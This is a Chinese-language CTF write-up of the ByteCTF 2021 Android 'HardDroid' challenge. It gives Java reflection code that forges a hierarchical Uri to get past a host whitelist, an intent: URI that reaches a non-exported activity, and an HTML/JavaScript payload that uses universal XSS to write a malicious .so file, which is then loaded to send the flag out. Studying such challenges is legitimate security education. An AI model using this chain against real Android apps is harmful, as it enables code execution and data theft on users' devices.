ByteCTF 2021 Android HardDroid Writeup

HardDroid

1. 反射构造 hearachical Uri 绕过

在程序中直接从 Intent 中取 Uri,并且对取出的内容检验了 Host 和 Scheme,但是在通过 loadUrl 的时候没有经过 Uri.parse,而是通过 toString 来放到了 loadUrl 中,造成可以通过反射构造 hearachical Uri 绕过,在 https://www.anquanke.com/post/id/182420#h2-5 文章中有提到对应的利用思路。

image-20211213001119050

其中也提到了,在高版本中,反射调用会在运行时报错失败。

image-20211213001817846

由于这道题使用的是 Android API 30,也就是 Android R,存在 Google 的这个限制,所以我们通过它给出绕过方法中的链接:https://github.com/tiann/FreeReflection,使用 FreeReflection 这个工具来进行攻击,其原理在 https://weishu.me/2018/06/07/free-reflection-above-android-p/ 中被详细解释,我们这边直接拿来用就好。

我将其封装为一个类来进行调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Uri getUri(String attackerUri) {
    String TAG = "WJH";
    Uri uri;
    try {
        Class partClass = Class.forName("android.net.Uri$Part");
        Constructor partConstructor = partClass.getDeclaredConstructors()[0];
        partConstructor.setAccessible(true);

        Class pathPartClass = Class.forName("android.net.Uri$PathPart");
        Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
        pathPartConstructor.setAccessible(true);

        Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
        Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
        hierarchicalUriConstructor.setAccessible(true);

        Object authority = partConstructor.newInstance("app.toutiao.com", "app.toutiao.com");
        Object path = pathPartConstructor.newInstance("@" + attackerUri, "@" + attackerUri);
        uri = (Uri) hierarchicalUriConstructor.newInstance("http", authority, path, null, null);

        Log.d(TAG, "Scheme: " + uri.getScheme());
        Log.d(TAG, "Authority: " + uri.getAuthority());
        Log.d(TAG, "UserInfo: " + uri.getUserInfo());
        Log.d(TAG, "Host: " + uri.getHost());
        Log.d(TAG, "toString(): " + uri.toString());
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
    return uri;
}

2.调用内部未 exported 类

根据初赛的题目我了解过这个思路,这里可以参考 https://blog.wjhwjhn.com/archives/613/ 这篇文章,这里简单的做一个说明。

在 MainActivity 中,程序对 shouldOverrideUrlLoading 进行了一个重写,并且在访问链接的 scheme 为 intent 的情况下会进行一个拦截,同时先通过 parseUri 来解析传入参数,再使用 startActivity 对传入内容进行一个启动。这个来自内部的启动,使得我们可以调用内部的类。

这里在转换时需要选择 Intent.URI_INTENT_SCHEME 的这种形式,可以转换出可以被直接访问到的 Uri

1
2
3
4
Intent i2 = new Intent();
i2.setClassName("com.bytectf.harddroid", "com.bytectf.harddroid.TestActivity");
i2.setData(Uri.parse("http://app.toutiao.com"));
String uri_data = i2.toUri(Intent.URI_INTENT_SCHEME);

3.Universal-XSS

相关操作可以参考 https://twitter.com/_bagipro/status/1326511441306935296

在 TestActivity 类中,我们可以通过在启动时写一个 Intent.FLAG_ACTIVITY_SINGLE_TOP 标志,使得第二次访问时,没有执行 onCreate 去 重新创建一个 WebView,而是通过 onNewIntent 来调用 loadUrl,在这种情况下,我们可以在第二次调用时来执行 javascript: xxx 这样的语句,从而实现在通过域名白名单的情形下来执行我们恶意的 JavaScript 代码。

image-20211213003035369

4.恶意 JS 代码执行

通过分析题目中的 native 函数中的 native_write 函数,可以发现可以指定文件名来进行任意的写入,再结合代码中存在一个对 soPath 是否存在的判定,此判定允许二次载入 so 文件,不难想到我们可以通过 native_write 来在目录下写入一个 恶意的 so 文件,在此 so 文件的 JNI_Onload 函数中做一个实现,使得这个恶意的 so 文件可以在 JAVA 程序 load 之后将目录下的 flag 读出并访问我们指定的 web 链接从而带出 flag,可惜的是我之前都没接触过 native 文件的编写,于是拜托了战队中的 RE 神 —— 源神来搞定了这部分!源哥 yyds!

html 中的三次跳转代码解释

  1. 传入 url 参数跳转内容,实际上就是我们要跳转到的 http://app.toutiao.com 白名单网址
  2. 去通过 Intent.FLAG_ACTIVITY_SINGLE_TOP 标志(launchFlags=0x20000000)去执行 JavaScript,从而调用到 jsi 中的写函数,把恶意的 so 文件写出到目录下。
  3. 等待写入后再去访问白名单网址,此时会检测到 soPath 的文件内容存在,同时使用了 System.load 去加载文件,加载中会自动去调用 so 文件中的 JNI_Onload,在其中把 flag 内容带出。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
	<script>

	function GetQueryString(name)
	{
		 var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
		 var r = window.location.search.substr(1).match(reg);
		 if(r!=null)return  unescape(r[2]); return null;
	}
	function doitjs()
	{
		location.href = decodeURIComponent(decodeURIComponent(GetQueryString('url')));
	}
	function doitjs2()
	{
		location.href = 'intent:jsi.write_file("/data/user/0/com.bytectf.harddroid/files/libUtils.so", "恶意so文件的base64代码")#Intent;scheme=javascript;launchFlags=0x20000000;component=com.bytectf.harddroid/.TestActivity;end';
	}
	setTimeout(doitjs, 0);
	setTimeout(doitjs2, 3000);
	setTimeout(doitjs, 15000);
	</script>
</body>

</html>
0%